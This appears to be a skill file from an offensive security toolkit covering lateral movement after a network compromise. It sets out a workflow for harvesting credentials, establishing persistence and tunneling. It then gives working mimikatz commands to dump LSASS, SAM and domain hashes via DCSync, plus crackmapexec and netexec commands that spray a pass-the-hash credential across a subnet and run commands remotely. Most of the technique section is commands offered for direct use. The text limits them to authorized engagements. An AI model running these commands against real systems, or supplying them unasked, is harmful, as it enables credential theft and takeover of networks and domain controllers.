offensive-lateral-movement

Offensive Lateral Movement

Lateral movement is the phase where you expand access across a network after initial compromise. You pivot from one system to another using harvested credentials, token manipulation, or protocol abuse. The goal is to reach high-value targets -- domain controllers, database servers, file shares -- while minimizing detection footprint. Every technique here assumes you hold at least one valid credential or session token on the current host.

This skill covers credential-based movement, NTLM relay, remote execution protocols, session hijacking, and network tunneling. Apply these in authorized engagements only.

Quick Workflow

1. Enumerate accessible hosts and open ports (445, 5985, 5986, 3389, 22, 135).
2. Harvest credentials from the current host (LSASS, SAM, cached creds).
3. Test credential reuse across discovered hosts with crackmapexec/netexec.
4. Select a movement technique based on available credentials and target services.
5. Establish persistence on the new host before moving further.
6. Set up tunneling if you need to reach segmented networks.
7. Document each pivot for your engagement report.

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Pass-the-Hash

Pass-the-hash (PtH) lets you authenticate with an NTLM hash without knowing the plaintext password. You extract hashes from LSASS, the SAM database, or NTDS.dit, then inject them into authentication requests.

Extract hashes with mimikatz on the current host:

# Elevate to debug privilege and dump logon passwords
privilege::debug
sekurlsa::logonpasswords

# Dump SAM hashes (requires SYSTEM)
lsadump::sam

# Dump domain hashes from ntds.dit (on a DC)
lsadump::dcsync /domain:corp.local /all /csv

Use crackmapexec (or netexec) to spray the hash across the network:

# Test a single hash against a subnet
crackmapexec smb 10.10.10.0/24 -u administrator -H aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0

# Execute a command on a target via PtH
crackmapexec smb 10.10.10.50 -u admin -H <NT_HASH> -x "whoami /all"

# netexec (modern fork) with same syntax
nxc smb 10.10.10.0/24 -u admin -H <NT_HASH> --shares